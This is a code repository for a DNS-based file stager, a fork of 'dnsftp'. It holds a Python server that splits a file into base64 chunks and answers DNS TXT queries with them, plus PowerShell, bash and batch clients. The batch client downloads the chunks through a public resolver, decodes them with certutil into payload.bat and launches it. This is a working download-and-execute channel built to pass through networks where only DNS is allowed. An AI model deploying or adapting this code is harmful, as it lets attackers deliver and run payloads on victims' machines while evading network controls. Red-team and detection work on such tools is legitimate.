├── README.md ├── client ├── client.ps1 ├── client.sh └── client_batch │ ├── dnsftp_downloader.bat │ └── runme.bat └── server.py /README.md: -------------------------------------------------------------------------------- 1 | ## Purpose 2 | 3 | Use only DNS queries to download a file, and then execute it. 4 | 5 | ## Usage 6 | 7 | On the server hosting the file (tested with python2): 8 | 9 | **sudo python server.py -f /path/to/file** 10 | 11 | On the Windows client with batch script: 12 | 13 | **client\client_batch\runme.bat _payloadserverhostname_ _fileparts_ _publicdnsserver_** 14 | 15 | **Example: client\client_batch\runme.bat payloadserver.yourdomain.com 42 8.8.8.8** 16 | 17 | If just testing internally, you can use the following example: 18 | 19 | **client\client_batch\runme.bat _payloadserverhostname_ _fileparts_ _payloadserverIPaddr_** 20 | 21 | Original author: 22 | Stephen Breen - https://github.com/breenmachine/dnsftp 23 | 24 | Forked and modified by: 25 | Daniel Vinakovsky 26 | -------------------------------------------------------------------------------- /client/client.ps1: -------------------------------------------------------------------------------- 1 | Param([String]$s)$error.clear();$p="";for($i=0;$i -ge 0;$i++){$c=[string](Invoke-Expression "cmd.exe /C nslookup -type=TXT $($i).$($s)");if($error.Count -ge 1){$i=-10;}$f=$c.IndexOf('"')+1;$l=$c.LastIndexOf('"')-$f;$p+=$c.Substring($f,$l);}$o=[Convert]::FromBase64String($p);[IO.File]::WriteAllBytes('output',$o) -------------------------------------------------------------------------------- /client/client.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | error=';; connection timed out; no servers could be reached' 3 | i=0 4 | echo ''> output.b64 5 | while : 6 | do 7 | RESP=`dig +short $i.$1 TXT | cut -d'"' -f 2` 8 | if [ "$RESP" = "$error" ]; 9 | then 10 | echo "Timeout - done" 11 | break 12 | fi 13 | echo -ne $RESP >> output.b64 14 | echo $RESP 15 | i=$((i+1)) 16 | done 17 | cat output.b64 | base64 -d > output -------------------------------------------------------------------------------- /client/client_batch/dnsftp_downloader.bat: -------------------------------------------------------------------------------- 1 | REM Written by Daniel Vinakovsky 2 | REM dvinak@gmail.com 3 | REM http://www.gnurds.com 4 | @echo off 5 | nslookup -q=txt %1 %2 -------------------------------------------------------------------------------- /client/client_batch/runme.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | REM Written by Daniel Vinakovsky 3 | REM dvinak@gmail.com 4 | REM http://www.gnurds.com 5 | 6 | setlocal EnableDelayedExpansion 7 | set encodedoutfile=outputb64 8 | set rawoutfile=payload.bat 9 | set payloaddnsserver=%1 10 | set pubdnsserver=%3 11 | 12 | FOR /L %%I IN (0,1,%2) DO ( 13 | ECHO Downloaded part %%I of %2 14 | FOR /f "skip=12 usebackq tokens=1" %%a IN (`dnsftp_downloader.bat %%I.%payloaddnsserver% %pubdnsserver%`) DO ( 15 | set tempvar=%%a 16 | REM strip quotation marks 17 | set output=!tempvar:"=! 18 | @echo !output! >> %encodedoutfile% 19 | ) 20 | ) 21 | REM base64 decode the downloaded payload, overwrite. 22 | IF EXIST %encodedoutfile% ( 23 | ECHO Decoding downloaded file... 24 | certutil -decode -f %encodedoutfile% %rawoutfile% 25 | ) ELSE ( 26 | ECHO Failed to download file 27 | EXIT /B 1 28 | ) 29 | REM delete the encoded payload 30 | DEL %encodedoutfile% 31 | REM launch the payload 32 | ECHO Attempting to launch file... 33 | start "" "payload.bat" -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import socket 3 | import logging 4 | import dns 5 | import dns.message 6 | import string 7 | from binascii import b2a_base64 8 | import re 9 | import argparse 10 | import sys 11 | 12 | #Override/Modify this function to change the behavior of the server for any given query. Probably should strip whitespace. 13 | #The current implementation uses sequential id's starting at 'startValue' - so 1.subdomain.domain.com, 2.subdomain.domain.com... 14 | #return None when done 15 | def get_response_data(query_name): 16 | itemNumber=int(query_name[0:str(query_name).find('.')])-args.startValue 17 | if itemNumber < 0 or itemNumber >= len(dataItems): 18 | return None 19 | else: 20 | logging.debug('[+] Pulling data for payload number '+str(itemNumber)+'/'+str(len(dataItems)-1)) 21 | return re.sub('\s+',' ',dataItems[itemNumber]) 22 | 23 | def chunks(l, n): 24 | '''Split string l into n sized chunks''' 25 | for i in xrange(0, len(l), n): 26 | yield l[i:i+n] 27 | 28 | def handle_query(msg,address): 29 | qs = msg.question 30 | logging.debug('[+] '+str(len(qs)) + ' questions.') 31 | 32 | for q in qs: 33 | resp = dns.message.make_response(msg) 34 | resp.flags |= dns.flags.AA 35 | resp.set_rcode(0) 36 | if(resp): 37 | response_data = get_response_data(str(q.name)) 38 | if response_data: 39 | rrset = dns.rrset.from_text(q.name, 7600,dns.rdataclass.IN, dns.rdatatype.TXT, response_data) 40 | resp.answer.append(rrset) 41 | logging.debug('[+] Response created - sending TXT payload: '+response_data) 42 | s.sendto(resp.to_wire(), address) 43 | else: 44 | logging.debug('[-] No more data - item requested exceeds range') 45 | return 46 | else: 47 | logging.error('[x] Error creating response, not replying') 48 | return 49 | 50 | #Handle incoming requests on port 53 51 | def requestHandler(address, message): 52 | serving_ids = [] 53 | 54 | #Don't try to respond to the same request twice somehow - track requests 55 | message_id = ord(message[0]) * 256 + ord(message[1]) 56 | logging.debug('[+] Received message ID = ' + str(message_id)) 57 | if message_id in serving_ids: 58 | # This request is already being served 59 | logging.debug('[-] Request already being served - aborting') 60 | return 61 | 62 | serving_ids.append(message_id) 63 | 64 | msg = dns.message.from_wire(message) 65 | op = msg.opcode() 66 | if op == 0: 67 | # standard and inverse query 68 | qs = msg.question 69 | if len(qs) > 0 and "IN PTR" not in str(qs[0]): 70 | q = qs[0] 71 | logging.debug('[+] DNS request is: ' + str(q)) 72 | handle_query(msg,address) 73 | else: 74 | # not implemented 75 | logging.error('[x] Received invalid request') 76 | 77 | serving_ids.remove(message_id) 78 | 79 | 80 | 81 | if __name__ == '__main__': 82 | 83 | parser = argparse.ArgumentParser() 84 | parser.add_argument("-f","--file",help="File to split up and serve") 85 | parser.add_argument("-s","--startValue",default=0,type=int,help='Start value for subdomain request ids. This MUST match the value set in the client, default 0') 86 | parser.add_argument("-q","--quiet",action='store_true',default=False,help='Disable server informational/debugging output.') 87 | args = parser.parse_args() 88 | 89 | if(len(sys.argv) < 2): 90 | parser.print_help() 91 | sys.exit(0) 92 | 93 | inFile = open(args.file, "rb").read() 94 | inData = b2a_base64(inFile) 95 | dataItems=list(chunks(inData,200)) 96 | 97 | if args.quiet: 98 | logging.basicConfig(level=logging.ERROR) 99 | else: 100 | logging.basicConfig(level=logging.DEBUG) 101 | 102 | logging.debug('[+] There are '+str(len(dataItems)-1)+' parts to this file') 103 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 104 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 105 | s.bind(('', 53)) 106 | logging.debug('[+] Bound to UDP port 53.') 107 | serving_ids = [] 108 | 109 | while True: 110 | logging.debug('[+] Waiting for request...') 111 | message, address = s.recvfrom(1024) 112 | logging.debug('[+] Request received, serving') 113 | requestHandler(address, message) 114 | --------------------------------------------------------------------------------